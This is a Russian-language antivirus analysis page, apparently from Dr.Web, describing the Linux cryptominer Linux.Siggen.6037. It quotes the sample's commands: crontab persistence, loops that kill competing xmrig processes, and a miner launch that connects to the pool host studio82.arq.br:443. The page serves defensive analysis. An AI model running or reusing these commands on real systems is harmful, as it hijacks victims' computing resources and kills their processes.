Linux.Siggen.6037

Linux.Siggen.6037

Добавлен в вирусную базу Dr.Web: 2023-11-25

Описание добавлено: 2023-11-25

Для обеспечения автоматического запуска и распространения:

Создает или модифицирует следующие файлы:

Вредоносные функции:

Запускает себя в качестве демона

Запускает процессы:

rm noUnqeoM
crontab /tmp/barontab > /dev/null
for i in $(ls /proc | grep -E \x27^[0-9]+$\x27); do -e \x5c\x22/proc/$i/cmdline\x5c\x22 && cmdline=$(tr -d \x27\x5c\x5c0\x27 < \x5c\x22/proc/$i/cmdline\x5c\x22) && grep -a \x27xmrig\x27 \x5c\x22/proc/$i/exe\x5c\x22 1>/dev/null 2>&1 && ! echo \x5c\x22$cmdline\x5c\x22 | grep -q \x27studio82\x27 && kill -9 $i; done
crontab -l
crontab /tmp/barontab
./noUnqeoM -o studio82.arq.br:443 --tls -B
grep -E ^[0-9]+$
for i in $(ls /proc | grep -E \x27^[0-9]+$\x27); do -e \x5c\x22/proc/$i/cmdline\x5c\x22 && cmdline=$(tr -d \x27\x5c\x5c0\x27 < \x5c\x22/proc/$i/cmdline\x5c\x22) && grep -a \x27donate-level\x27 \x5c\x22/proc/$i/exe\x5c\x22 1>/dev/null 2>&1 && ! echo \x5c\x22$cmdline\x5c\x22 | grep -q \x27studio82\x27 && kill -9 $i; done
ls /proc
./noUnqeoM -o studio82.arq.br:443 --tls -B; rm noUnqeoM

Выполняет операции с файловой системой:

Модифицирует права доступа к файлам:

Создает или модифицирует файлы:

Удаляет файлы:

Изменяет время создания/доступа/модификации файлов:

Сетевая активность:

DNS ASK:

Прочее:

Собирает информацию о CPU

Собирает информацию об оперативной памяти